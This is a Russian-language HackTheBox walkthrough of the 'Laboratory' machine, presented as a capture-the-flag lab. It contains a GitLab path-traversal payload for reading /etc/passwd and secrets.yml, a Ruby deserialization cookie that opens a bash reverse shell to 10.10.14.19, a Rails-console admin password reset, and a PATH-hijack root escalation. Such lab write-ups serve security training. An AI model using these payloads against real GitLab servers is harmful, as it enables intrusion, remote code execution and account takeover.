HTB Laboratory. Знакомство с gitlab #мамкинхакер

Введение

При решение данной тачки с HTB у меня возникли небольшие трудности. Скорее всего это связано с отсутствием опыта работы с GitLab. В данном туториале механизм работы эксплойтов опущен, дабы не распугать новых игроков. Начнем…

Для успешного прохождения необходимо:

• Немного полазить по github (да, да, я не ошибся)

• Уметь "правильно” гуглить

В итоге мы узнаем:

• Чем полезен dockerhub

• Почему в скриптах необходимо указывать полный путь к бинарным файлам

Сбор информации

Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.

nmap -A -sC -sV -Pn 10.10.10.216 -p-

Обращаем внимание на два доменных имени. Добавляем в файл /etc/hosts.

Отлично! Посетим веб-сайт (https://laboratory.htb), может найдем что-нибудь интересное.

Из всего интересного – возможные имена пользователей в самом низу страницы.

А вот второй веб-сайт (https://git.laboratory.htb) поинтересней.

Зарегистрируемся в системе. В почте используем концовку laboratory.htb, другие не принимает. Так же при регистрации могут возникнуть проблемы, рекомендую просто поменять браузер.

Так, мы в системе. Меню help раскрывает версию gitlab.

Гугл приводит меня сюда, но механизм эксплуатации представляет особый интерес…

Я не ошибся, когда сравнил gitlab с github, они чем-то схожи. В gitlab создаются проекты, поднимаются проблемные вопросы, и он также используется для совместной разработки (правда немного в закрытой форме). Перейдем к эксплуатации уязвимости, которая подробно описана тут. Создадим два проекта: pr1 и pr2.

В проекте pr2 создадим так называемую проблему. Описание следующие:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

И создадим ссылку на её исправление в проекте pr1.

Наш код интерпретируется как изображение. При выполнении файл /ect/passwd будет загружен в проект pr1.

Заходим

В gitlab есть файл с конфигами. Продемонстрирую как с использованием этого файла сформировать боевую нагрузку и засунуть ее в куку.

Получаем файл secret.yml как описано выше.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

Файл получен, теперь проведем небольшую подготовку, для дальнейшей эксплуатации. С dockerhub качаем образ gitlab 12.8.1, команды ниже:

sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0
sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 sh

Конфига secrets.yml нет, необходима перенастройка. Рекомендую использовать следующую команду с ручным запуском службы.

/opt/gitlab/embedded/bin/runsvdir-start &gitlab-ctl reconfigure

Теперь файл secrets.yml заменим на тот, который получили выше.Перезапустим службу, запустим консоль и начнем генерировать полезную нагрузку.

gitlab-ctl restart
gitlab-rails console

Наша нагрузка имеет следующий вид:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i>& /dev/tcp/10.10.14.19/1234 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Вводим данные команды одну за одной. Последняя переведет все в куку.

На локальном хосте слушаем, а куку доставим с помощь курла.

curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvMTIzNCAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--d7e23f647530e5663399728e0d4093a4e3fbb58a" -k" –k

Результат не заставит себя долго ждать.

На этапе сбора информации мы получили возможные имена пользователей. Можно предположить, что dexter админ gitlab.

Изменим ему пароль, как описано тут.

Команды приведены ниже (параметр -е не дает консоли затупить):

gitlab-rails console -e production
user = User.find(1)
user.password = 'password123'
user.password_confirmation = 'password123'
user.save!

Ура! Я в системе.

Посмотрев его проекты, я нашел личную папку с ssh ключом.

Вот тут конечно пришлось подумать. Ключ не подходил (писало не тот формат).
Если возникает такая проблема создайте свой ключ и замените содержимое ключом dexter. Возможно в нем лишние пробелы)

Доступ получен. Использую linpeas.sh, чтобы найти следующий вектор. У себя поднимаем сервак.

Нашел подозрительный двоичный файл.

Посмотрим, что он делает. Используем ltrace.

setuid(0) – значит с правами рута, chmod – не прописан полный путь. Можно поиграть
с переменной PATH как описано тут.

Берём рута

Введем следующие команды:

echo "/bin/bash -p" > /tmp/chmod
chmod 777 /tmp/chmod
export PATH=/tmp:$PATH

Тачка пройдена!

Вместо вывода

Да, знаю, что в интернете уже полно райтапов по данной машине… К счастью сколько людей столько и мнений. Это мое виденье решения данной тачки, и оно непременно поможет кому-то подняться на ступень выше. Готов к обратной связи.

Всем удачного взлома!